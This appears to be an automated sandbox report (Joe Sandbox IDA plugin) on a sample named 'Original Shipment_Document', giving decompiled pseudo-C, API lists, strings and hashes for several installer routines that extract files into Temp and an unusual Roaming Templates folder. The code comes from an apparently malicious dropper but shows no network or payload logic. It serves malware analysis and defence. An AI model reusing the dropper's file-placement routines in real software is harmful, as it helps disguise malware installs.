Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: Directory$SystemWindowslstrcatlstrlen
String ID: Call$Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4260037668-2343659688
Opcode ID: caff3a63cdf462ad28e28b098a8ca9bbcc2bb6c884f685db01e738e9c1691dfa
Instruction ID: a0e829acba6452fa9eccf544198c9fcc7de98ae724d9d0e98a153b46e40356ac
Opcode Fuzzy Hash: caff3a63cdf462ad28e28b098a8ca9bbcc2bb6c884f685db01e738e9c1691dfa
Instruction Fuzzy Hash: 5261E371A00215ABDB209F64DC40AAE37A5EF44318F11813AE957B72D0D77E8AA1CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E0040176F(FILETIME* __ebx, void* __eflags) {
				void* __esi;
				void* _t35;
				void* _t43;
				void* _t45;
				FILETIME* _t51;
				FILETIME* _t64;
				void* _t66;
				signed int _t72;
				FILETIME* _t73;
				FILETIME* _t77;
				signed int _t79;
				WCHAR* _t81;
				void* _t83;
				void* _t84;
				void* _t86;

				_t77 = __ebx;
				 *(_t86 - 8) = E00402DA6(0x31);
				 *(_t86 + 8) =  *(_t86 - 0x30) & 0x00000007;
				_t35 = E00405E4D( *(_t86 - 8));
				_push( *(_t86 - 8));
				_t81 = L"Call";
				if(_t35 == 0) {
					lstrcatW(E00405DD6(E00406507(_t81, L"C:\\Users\\Arthur\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\timelrer\\Tdlen")), ??);
				} else {
					E00406507();
				}
				E0040678E(_t81);
				while(1) {
					__eflags =  *(_t86 + 8) - 3;
					if( *(_t86 + 8) >= 3) {
						_t66 = E0040683D(_t81);
						_t79 = 0;
						__eflags = _t66 - _t77;
						if(_t66 != _t77) {
							_t73 = _t66 + 0x14;
							__eflags = _t73;
							_t79 = CompareFileTime(_t73, _t86 - 0x24);
						}
						asm("sbb eax, eax");
						_t72 =  ~(( *(_t86 + 8) + 0xfffffffd | 0x80000000) & _t79) + 1;
						__eflags = _t72;
						 *(_t86 + 8) = _t72;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) == _t77) {
						E00405FD2(_t81);
					}
					__eflags =  *(_t86 + 8) - 1;
					_t43 = E00405FF7(_t81, 0x40000000, (0 |  *(_t86 + 8) != 0x00000001) + 1);
					__eflags = _t43 - 0xffffffff;
					 *(_t86 - 0x38) = _t43;
					if(_t43 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) != _t77) {
						E00405569(0xffffffe2,  *(_t86 - 8));
						__eflags =  *(_t86 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t86 - 4)) = 1;
						}
						L31:
						 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t86 - 4));
						__eflags =  *0x42a2a8;
						goto L32;
					} else {
						E00406507("C:\Users\Arthur\AppData\Local\Temp\nsaB9E2.tmp", _t83);
						E00406507(_t83, _t81);
						E00406544(_t77, _t81, _t83, "C:\Users\Arthur\AppData\Local\Temp\nsaB9E2.tmp\System.dll",  *((intOrPtr*)(_t86 - 0x1c)));
						E00406507(_t83, "C:\Users\Arthur\AppData\Local\Temp\nsaB9E2.tmp");
						_t64 = E00405B67("C:\Users\Arthur\AppData\Local\Temp\nsaB9E2.tmp\System.dll",  *(_t86 - 0x30) >> 3) - 4;
						__eflags = _t64;
						if(_t64 == 0) {
							continue;
						} else {
							__eflags = _t64 == 1;
							if(_t64 == 1) {
								 *0x42a2a8 =  &( *0x42a2a8->dwLowDateTime);
								L32:
								_t51 = 0;
								__eflags = 0;
							} else {
								_push(_t81);
								_push(0xfffffffa);
								E00405569();
								L29:
								_t51 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t51;
				}
				E00405569(0xffffffea,  *(_t86 - 8)); // executed
				 *0x42a2d4 =  *0x42a2d4 + 1;
				_push(_t77);
				_push(_t77);
				_push( *(_t86 - 0x38));
				_push( *((intOrPtr*)(_t86 - 0x28)));
				_t45 = E004032B4(); // executed
				 *0x42a2d4 =  *0x42a2d4 - 1;
				__eflags =  *(_t86 - 0x24) - 0xffffffff;
				_t84 = _t45;
				if( *(_t86 - 0x24) != 0xffffffff) {
					L22:
					SetFileTime( *(_t86 - 0x38), _t86 - 0x24, _t77, _t86 - 0x24); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t86 - 0x20)) - 0xffffffff;
					if( *((intOrPtr*)(_t86 - 0x20)) != 0xffffffff) {
						goto L22;
					}
				}
				CloseHandle( *(_t86 - 0x38)); // executed
				__eflags = _t84 - _t77;
				if(_t84 >= _t77) {
					goto L31;
				} else {
					__eflags = _t84 - 0xfffffffe;
					if(_t84 != 0xfffffffe) {
						E00406544(_t77, _t81, _t84, _t81, 0xffffffee);
					} else {
						E00406544(_t77, _t81, _t84, _t81, 0xffffffe9);
						lstrcatW(_t81,  *(_t86 - 8));
					}
					_push(0x200010);
					_push(_t81);
					E00405B67();
					goto L29;
				}
				goto L33;
			}

0x0040176f
0x00401776
0x00401782
0x00401785
0x0040178a
0x0040178d
0x00401794
0x004017b0
0x00401796
0x00401797
0x00401797
0x004017b6
0x004017bb
0x004017bb
0x004017bf
0x004017c2
0x004017c7
0x004017c9
0x004017cb
0x004017d0
0x004017d0
0x004017db
0x004017db
0x004017ec
0x004017ee
0x004017ee
0x004017ef
0x004017ef
0x004017f2
0x004017f5
0x004017f8
0x004017f8
0x004017ff
0x0040180e
0x00401813
0x00401816
0x00401819
0x00000000
0x00000000
0x0040181b
0x0040181e
0x00401874
0x00401879
0x004015b6
0x0040292e
0x0040292e
0x00402c2a
0x00402c2d
0x00402c2d
0x00000000
0x00401820
0x00401826
0x0040182d
0x0040183a
0x00401845
0x0040185b
0x0040185b
0x0040185e
0x00000000
0x00401864
0x00401864
0x00401865
0x00401882
0x00402c33
0x00402c33
0x00402c33
0x00401867
0x00401867
0x00401868
0x00401493
0x0040239d
0x0040239d
0x0040239d
0x00401865
0x0040185e
0x00402c35
0x00402c39
0x00402c39
0x00401892
0x00401897
0x0040189d
0x0040189e
0x0040189f
0x004018a2
0x004018a5
0x004018aa
0x004018b0
0x004018b4
0x004018b6
0x004018be
0x004018ca
0x004018b8
0x004018b8
0x004018bc
0x00000000
0x00000000
0x004018bc
0x004018d3
0x004018d9
0x004018db
0x00000000
0x004018e1
0x004018e1
0x004018e4
0x004018fc
0x004018e6
0x004018e9
0x004018f2
0x004018f2
0x00401901
0x00401906
0x00402398
0x00000000
0x00402398
0x00000000

APIs

lstrcatW.KERNEL32(00000000,00000000), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\timelrer\Tdlen,?,?,00000031), ref: 004017D5

Part of subcall function 00406507: lstrcpynW.KERNEL32(?,?,00000400,00403667,00429220,NSIS Error), ref: 00406514

Part of subcall function 00405569: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll,00000000,00418EC0,00000000,?,?,?,?,?,?,?,?,?,004033ED,00000000,?), ref: 004055A1
Part of subcall function 00405569: lstrlenW.KERNEL32(004033ED,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll,00000000,00418EC0,00000000,?,?,?,?,?,?,?,?,?,004033ED,00000000), ref: 004055B1
Part of subcall function 00405569: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll,004033ED), ref: 004055C4
Part of subcall function 00405569: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll), ref: 004055D6
Part of subcall function 00405569: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004055FC
Part of subcall function 00405569: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405616
Part of subcall function 00405569: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405624

Strings

C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp, xrefs: 00401821, 0040183F
C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll, xrefs: 00401835, 00401851
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\timelrer\Tdlen, xrefs: 0040179E
Call, xrefs: 0040178D, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp$C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\timelrer\Tdlen$Call
API String ID: 1941528284-1993701468
Opcode ID: 0fba69ac8ac68c92a69b3880046c7add487d5cb735b76d6a7e0826fb2fb974eb
Instruction ID: a51aac5e68297d7f44276dbadf5c543e50a4c9306f3e74aef663979029aae524
Opcode Fuzzy Hash: 0fba69ac8ac68c92a69b3880046c7add487d5cb735b76d6a7e0826fb2fb974eb
Instruction Fuzzy Hash: AA41A071900105BACF11BBA5DD85DAE3AB9EF45328F20423FF412B10E1D63C8A519A6E

Uniqueness

Uniqueness Score: -1.00%

Function 00405569 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405569(signed int _a4, WCHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				WCHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				WCHAR* _t27;
				signed int _t28;
				long _t29;
				signed int _t37;
				signed int _t38;

				_t27 =  *0x429204;
				_v8 = _t27;
				if(_t27 != 0) {
					_t37 =  *0x42a2d4;
					_v12 = _t37;
					_t38 = _t37 & 0x00000001;
					if(_t38 == 0) {
						E00406544(_t38, 0, 0x4226e8, 0x4226e8, _a4);
					}
					_t27 = lstrlenW(0x4226e8);
					_a4 = _t27;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t27 = SetWindowTextW( *0x4291e8, 0x4226e8); // executed
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x4226e8;
							_v52 = 1;
							_t29 = SendMessageW(_v8, 0x1004, 0, 0); // executed
							_v44 = 0;
							_v48 = _t29 - _t38;
							SendMessageW(_v8, 0x104d - _t38, 0,  &_v52); // executed
							_t27 = SendMessageW(_v8, 0x1013, _v48, 0); // executed
						}
						if(_t38 != 0) {
							_t28 = _a4;
							0x4226e8[_t28] = 0;
							return _t28;
						}
					} else {
						_t27 = lstrlenW(_a8) + _a4;
						if(_t27 < 0x1000) {
							_t27 = lstrcatW(0x4226e8, _a8);
							goto L6;
						}
					}
				}
				return _t27;
			}

0x0040556f
0x00405579
0x0040557e
0x00405584
0x0040558f
0x00405592
0x00405595
0x0040559b
0x0040559b
0x004055a1
0x004055a9
0x004055ac
0x004055c9
0x004055cd
0x004055d6
0x004055d6
0x004055e0
0x004055e9
0x004055f5
0x004055fc
0x00405600
0x00405603
0x00405616
0x00405624
0x00405624
0x00405628
0x0040562a
0x0040562d
0x00000000
0x0040562d
0x004055ae
0x004055b6
0x004055be
0x004055c4
0x00000000
0x004055c4
0x004055be
0x004055ac
0x00405639

APIs

lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll,00000000,00418EC0,00000000,?,?,?,?,?,?,?,?,?,004033ED,00000000,?), ref: 004055A1
lstrlenW.KERNEL32(004033ED,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll,00000000,00418EC0,00000000,?,?,?,?,?,?,?,?,?,004033ED,00000000), ref: 004055B1
lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll,004033ED), ref: 004055C4
SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll), ref: 004055D6
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004055FC
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405616
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405624

Part of subcall function 00406544: lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004066E9
Part of subcall function 00406544: lstrlenW.KERNEL32(Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll,?,004055A0,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll,00000000), ref: 00406743

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll, xrefs: 0040558A, 0040559A, 004055A0, 004055C3, 004055CF

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$TextWindow
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll
API String ID: 1495540970-296747138
Opcode ID: c20292047f9b9b2cdfb15f34b7f8afd72a7bd830ec6d368edf6b390704bd6bd1
Instruction ID: ee6600945c56622aa7300660faa8e28c1de3552a97c3cc7a142cd67d2e53ceba
Opcode Fuzzy Hash: c20292047f9b9b2cdfb15f34b7f8afd72a7bd830ec6d368edf6b390704bd6bd1
Instruction Fuzzy Hash: 7021AC71900518BACF219F96DD84ACFBFB9EF45354F50807AF904B62A0C7798A51CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 004032B4 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E004032B4(int _a4, intOrPtr _a8, intOrPtr _a12, int _a16, signed char _a19) {
				signed int _v8;
				int _v12;
				long _v16;
				intOrPtr _v20;
				short _v148;
				void* _t59;
				void* _t61;
				intOrPtr _t69;
				long _t70;
				void* _t71;
				intOrPtr _t81;
				intOrPtr _t86;
				long _t89;
				signed int _t90;
				int _t91;
				int _t92;
				intOrPtr _t93;
				void* _t94;
				void* _t95;

				_t90 = _a16;
				_t86 = _a12;
				_v12 = _t90;
				if(_t86 == 0) {
					_v12 = 0x8000;
				}
				_v8 = _v8 & 0x00000000;
				_t81 = _t86;
				if(_t86 == 0) {
					_t81 = 0x418ec0;
				}
				_t56 = _a4;
				if(_a4 >= 0) {
					E004034AF( *0x42a278 + _t56);
				}
				if(E00403499( &_a16, 4) == 0) {
					L33:
					_push(0xfffffffd);
					goto L34;
				} else {
					if((_a19 & 0x00000080) == 0) {
						if(_t86 == 0) {
							while(_a16 > 0) {
								_t91 = _v12;
								if(_a16 < _t91) {
									_t91 = _a16;
								}
								if(E00403499(0x414ec0, _t91) == 0) {
									goto L33;
								} else {
									_t61 = E004060A9(_a8, 0x414ec0, _t91); // executed
									if(_t61 == 0) {
										L28:
										_push(0xfffffffe);
										L34:
										_pop(_t59);
										return _t59;
									}
									_v8 = _v8 + _t91;
									_a16 = _a16 - _t91;
									continue;
								}
							}
							L43:
							return _v8;
						}
						if(_a16 < _t90) {
							_t90 = _a16;
						}
						if(E00403499(_t86, _t90) != 0) {
							_v8 = _t90;
							goto L43;
						} else {
							goto L33;
						}
					}
					_v16 = GetTickCount();
					E00406A2F(0x40ce30);
					_t13 =  &_a16;
					 *_t13 = _a16 & 0x7fffffff;
					_a4 = _a16;
					if( *_t13 <= 0) {
						goto L43;
					} else {
						goto L9;
					}
					while(1) {
						L9:
						_t92 = 0x4000;
						if(_a16 < 0x4000) {
							_t92 = _a16;
						}
						if(E00403499(0x414ec0, _t92) == 0) {
							goto L33;
						}
						_a16 = _a16 - _t92;
						 *0x40ce48 = 0x414ec0;
						 *0x40ce4c = _t92;
						while(1) {
							 *0x40ce50 = _t81;
							 *0x40ce54 = _v12; // executed
							_t69 = E00406A4F(0x40ce30); // executed
							_v20 = _t69;
							if(_t69 < 0) {
								break;
							}
							_t93 =  *0x40ce50; // 0x418ec0
							_t94 = _t93 - _t81;
							_t70 = GetTickCount();
							_t89 = _t70;
							if(( *0x42a2d4 & 0x00000001) != 0 && (_t70 - _v16 > 0xc8 || _a16 == 0)) {
								wsprintfW( &_v148, L"... %d%%", MulDiv(_a4 - _a16, 0x64, _a4));
								_t95 = _t95 + 0xc;
								E00405569(0,  &_v148); // executed
								_v16 = _t89;
							}
							if(_t94 == 0) {
								if(_a16 > 0) {
									goto L9;
								}
								goto L43;
							} else {
								if(_a12 != 0) {
									_v8 = _v8 + _t94;
									_v12 = _v12 - _t94;
									_t81 =  *0x40ce50; // 0x418ec0
									L23:
									if(_v20 != 1) {
										continue;
									}
									goto L43;
								}
								_t71 = E004060A9(_a8, _t81, _t94); // executed
								if(_t71 == 0) {
									goto L28;
								}
								_v8 = _v8 + _t94;
								goto L23;
							}
						}
						_push(0xfffffffc);
						goto L34;
					}
					goto L33;
				}
			}

0x004032bf
0x004032c3
0x004032c6
0x004032cb
0x004032cd
0x004032cd
0x004032d4
0x004032d8
0x004032dc
0x004032de
0x004032de
0x004032e3
0x004032e8
0x004032f3
0x004032f3
0x00403305
0x00403450
0x00403450
0x00000000
0x0040330b
0x0040330f
0x0040343b
0x00403484
0x00403455
0x0040345b
0x0040345d
0x0040345d
0x0040346e
0x00000000
0x00403470
0x00403475
0x0040347c
0x00403435
0x00403435
0x00403452
0x00403452
0x00000000
0x00403452
0x0040347e
0x00403481
0x00000000
0x00403481
0x0040346e
0x0040348f
0x00000000
0x0040348f
0x00403440
0x00403442
0x00403442
0x0040344e
0x0040348c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040344e
0x00403320
0x00403323
0x00403328
0x00403328
0x00403332
0x00403335
0x00000000
0x00000000
0x00000000
0x00000000
0x0040333b
0x0040333b
0x0040333b
0x00403343
0x00403345
0x00403345
0x00403356
0x00000000
0x00000000
0x0040335c
0x0040335f
0x00403365
0x0040336b
0x00403373
0x00403379
0x0040337e
0x00403385
0x00403388
0x00000000
0x00000000
0x0040338e
0x00403394
0x00403396
0x004033a3
0x004033a5
0x004033d6
0x004033dc
0x004033e8
0x004033ed
0x004033ed
0x004033f2
0x00403429
0x00000000
0x00000000
0x00000000
0x004033f4
0x004033f8
0x0040340d
0x00403410
0x00403413
0x00403419
0x0040341d
0x00000000
0x00000000
0x00000000
0x00403423
0x004033ff
0x00403406
0x00000000
0x00000000
0x00403408
0x00000000
0x00403408
0x004033f2
0x00403431
0x00000000
0x00403431
0x00000000
0x0040333b

APIs

GetTickCount.KERNEL32 ref: 00403315
GetTickCount.KERNEL32 ref: 00403396
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004033C3
wsprintfW.USER32 ref: 004033D6

Strings

G8@, xrefs: 004032B4
... %d%%, xrefs: 004033D0

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%$G8@
API String ID: 551687249-649311722
Opcode ID: a26557732bb01f6bddedaf8222426b1e26193f42140191bec4bb00bd26e51081
Instruction ID: 27b76012fb03590ae9ad79c5aacab076c27bed8bf8d9d3eaec1048eb1f993e7f
Opcode Fuzzy Hash: a26557732bb01f6bddedaf8222426b1e26193f42140191bec4bb00bd26e51081
Instruction Fuzzy Hash: 7F519D71900219DBCB11DF65DA446AF7FA8AB40766F14417FFD00BB2C1D7788E408BA9

Uniqueness

Uniqueness Score: -1.00%

Function 004026EC Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E004026EC(intOrPtr __ebx, intOrPtr __edx, void* __edi) {
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t72;
				void* _t76;
				void* _t79;

				_t72 = __edx;
				 *((intOrPtr*)(_t76 - 8)) = __ebx;
				_t65 = 2;
				 *((intOrPtr*)(_t76 - 0x4c)) = _t65;
				_t66 = E00402D84(_t65);
				_t79 = _t66 - 1;
				 *((intOrPtr*)(_t76 - 0x10)) = _t72;
				 *((intOrPtr*)(_t76 - 0x44)) = _t66;
				if(_t79 < 0) {
					L36:
					 *0x42a2a8 =  *0x42a2a8 +  *(_t76 - 4);
				} else {
					__ecx = 0x3ff;
					if(__eax > 0x3ff) {
						 *(__ebp - 0x44) = 0x3ff;
					}
					if( *__edi == __bx) {
						L34:
						__ecx =  *(__ebp - 0xc);
						__eax =  *(__ebp - 8);
						 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __bx;
						if(_t79 == 0) {
							 *(_t76 - 4) = 1;
						}
						goto L36;
					} else {
						 *(__ebp - 0x38) = __ebx;
						 *(__ebp - 0x18) = E00406467(__ecx, __edi);
						if( *(__ebp - 0x44) > __ebx) {
							do {
								if( *((intOrPtr*)(__ebp - 0x34)) != 0x39) {
									if( *((intOrPtr*)(__ebp - 0x24)) != __ebx ||  *(__ebp - 8) != __ebx || E004060D8( *(__ebp - 0x18), __ebx) >= 0) {
										__eax = __ebp - 0x50;
										if(E0040607A( *(__ebp - 0x18), __ebp - 0x50, 2) == 0) {
											goto L34;
										} else {
											goto L21;
										}
									} else {
										goto L34;
									}
								} else {
									__eax = __ebp - 0x40;
									_push(__ebx);
									_push(__ebp - 0x40);
									__eax = 2;
									__ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)) = __ebp + 0xa;
									__eax = ReadFile( *(__ebp - 0x18), __ebp + 0xa, __ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)), ??, ??); // executed
									if(__eax == 0) {
										goto L34;
									} else {
										__ecx =  *(__ebp - 0x40);
										if(__ecx == __ebx) {
											goto L34;
										} else {
											__ax =  *(__ebp + 0xa) & 0x000000ff;
											 *(__ebp - 0x4c) = __ecx;
											 *(__ebp - 0x50) = __eax;
											if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
												L28:
												__ax & 0x0000ffff = E0040644E( *(__ebp - 0xc), __ax & 0x0000ffff);
											} else {
												__ebp - 0x50 = __ebp + 0xa;
												if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa, __ecx, __ebp - 0x50, 1) != 0) {
													L21:
													__eax =  *(__ebp - 0x50);
												} else {
													__edi =  *(__ebp - 0x4c);
													__edi =  ~( *(__ebp - 0x4c));
													while(1) {
														_t22 = __ebp - 0x40;
														 *_t22 =  *(__ebp - 0x40) - 1;
														__eax = 0xfffd;
														 *(__ebp - 0x50) = 0xfffd;
														if( *_t22 == 0) {
															goto L22;
														}
														 *(__ebp - 0x4c) =  *(__ebp - 0x4c) - 1;
														__edi = __edi + 1;
														__eax = SetFilePointer( *(__ebp - 0x18), __edi, __ebx, 1); // executed
														__ebp - 0x50 = __ebp + 0xa;
														if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa,  *(__ebp - 0x40), __ebp - 0x50, 1) == 0) {
															continue;
														} else {
															goto L21;
														}
														goto L22;
													}
												}
												L22:
												if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
													goto L28;
												} else {
													if( *(__ebp - 0x38) == 0xd ||  *(__ebp - 0x38) == 0xa) {
														if( *(__ebp - 0x38) == __ax || __ax != 0xd && __ax != 0xa) {
															 *(__ebp - 0x4c) =  ~( *(__ebp - 0x4c));
															__eax = SetFilePointer( *(__ebp - 0x18),  ~( *(__ebp - 0x4c)), __ebx, 1);
														} else {
															__ecx =  *(__ebp - 0xc);
															__edx =  *(__ebp - 8);
															 *(__ebp - 8) =  *(__ebp - 8) + 1;
															 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														}
														goto L34;
													} else {
														__ecx =  *(__ebp - 0xc);
														__edx =  *(__ebp - 8);
														 *(__ebp - 8) =  *(__ebp - 8) + 1;
														 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														 *(__ebp - 0x38) = __eax;
														if(__ax == __bx) {
															goto L34;
														} else {
															goto L26;
														}
													}
												}
											}
										}
									}
								}
								goto L37;
								L26:
								__eax =  *(__ebp - 8);
							} while ( *(__ebp - 8) <  *(__ebp - 0x44));
						}
						goto L34;
					}
				}
				L37:
				return 0;
			}

0x004026ec
0x004026ee
0x004026f1
0x004026f3
0x004026f6
0x004026fb
0x004026ff
0x00402702
0x00402705
0x00402c2a
0x00402c2d
0x0040270b
0x0040270b
0x00402712
0x00402714
0x00402714
0x0040271a
0x0040287e
0x0040287e
0x00402881
0x00402886
0x004015b6
0x0040292e
0x0040292e
0x00000000
0x00402720
0x00402721
0x0040272c
0x0040272f
0x0040273b
0x0040273f
0x004027d7
0x004027ef
0x004027ff
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00402745
0x00402745
0x00402748
0x00402749
0x0040274c
0x00402751
0x00402758
0x00402760
0x00000000
0x00402766
0x00402766
0x0040276b
0x00000000
0x00402771
0x00402771
0x00402779
0x0040277c
0x0040277f
0x0040283a
0x00402841
0x00402785
0x0040278b
0x00402797
0x00402801
0x00402801
0x00402799
0x00402799
0x0040279c
